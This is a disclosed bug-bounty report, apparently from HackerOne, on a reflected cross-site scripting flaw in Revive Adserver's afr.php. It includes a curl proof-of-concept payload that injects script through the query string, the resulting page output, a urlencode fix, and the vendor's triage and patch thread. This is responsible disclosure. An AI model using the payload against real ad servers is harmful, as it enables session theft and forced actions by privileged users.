14

Reflected XSS on www/delivery/afr.php

Share:

TIMELINE

jacopotediosi submitted a report to Revive Adserver. Jan 15th (3 ye

At line 4381, $_SERVER['QUERY_STRING'], which is an untrusted user input, is assigned to the $dest variable.
Then at lines 4386-4387 $dest is printed into HTML code in two separate places.

PoC:

Code 890 Bytes Wrap lines Copy Dow

```
curl "domain.com/www/delivery/afr.php?refresh=10000&\")',10000000);alert(1);setTimeout('alert(\""
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'>
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<title>Advertisement</title>

    <script type='text/javascript'><!--// <![CDATA[
        setTimeout('window.location.replace("http://domain.com/www/delivery/afr.php?refresh=10000&")',10000000);alert(1);setTimeout('alert("&loc=")',
    // ]]> --></script><noscript><meta http-equiv='refresh' content='10000;url=http://domain.com/www/delivery/afr.php?refresh=10000&")',10000000);alert
    <style type='text/css'>
body {margin:0; height:100%; background-color:transparent; width:100%; text-align:center;}
</style>
</head>
<body>

</body>
</html>
```

Suggested remediation:
I suggest to change line 4381 from `$dest = MAX_commonGetDeliveryUrl($conf['file']['frame']).'?'.$_SERVER['QUERY_STRING'];` to `$dest = MAX_commonGetDeliveryUrl($conf['file']['frame']).'?'.urlencode($_SERVER['QUERY_STRING']);` in both files /www/delivery/afr.php and /www/delivery_dev/afr.ph

Impact

An attacker could use this XSS to steal session cookies (if readable via javascript, I didn't check) or transform it to a CSRF and cause involuntary actions to be performed by a privileged user

erikgeurts Revive Adserver staff posted a comment. Jan 15th (3 ye

Thanks for your report and detailed explanation of your findings.

One of our developers will take a closer look, and let you know whether this is a vulnerability or not, and what their follow up actions will be (if any).

mbeccati Revive Adserver staff posted a comment. Jan 15th (3 ye

Thanks for your report, we will check and get back to you shortly.

mbeccati Revive Adserver staff changed the status to ○ **Triaged**. Jan 16th (3 ye

The vulnerability is confirmed. You can find a patch for `delivery_dev/afr.php` attached. The `delivery/afr.php` file will be generated when pushing to the repo.

We will get back to you with more information about the expected timeline. Thanks again for your report!

1 attachment:
F686402: h1-775693.diff

jacopotediosi posted a comment. Jan 16th (3 ye

Hi @mbeccati,
The patch seems ok to me
Thanks for the quickly response

mbeccati Revive Adserver staff closed the report and changed the status to ○ **Resolved**. Updated Jan 16th (3 ye

Thanks. A 5.0.4 release is currently planned for next week. A security advisory email will be sent, disclosing the vulnerability. What name should we use to mention

jacopotediosi posted a comment. Jan 16th (3 ye

Hi, if you want a name for credits, you can use "Jacopo Tediosi"
Thanks a lot

mbeccati Revive Adserver staff requested to disclose this report. Jan 21st (3 ye

mbeccati Revive Adserver staff disclosed this report. Jan 21st (3 ye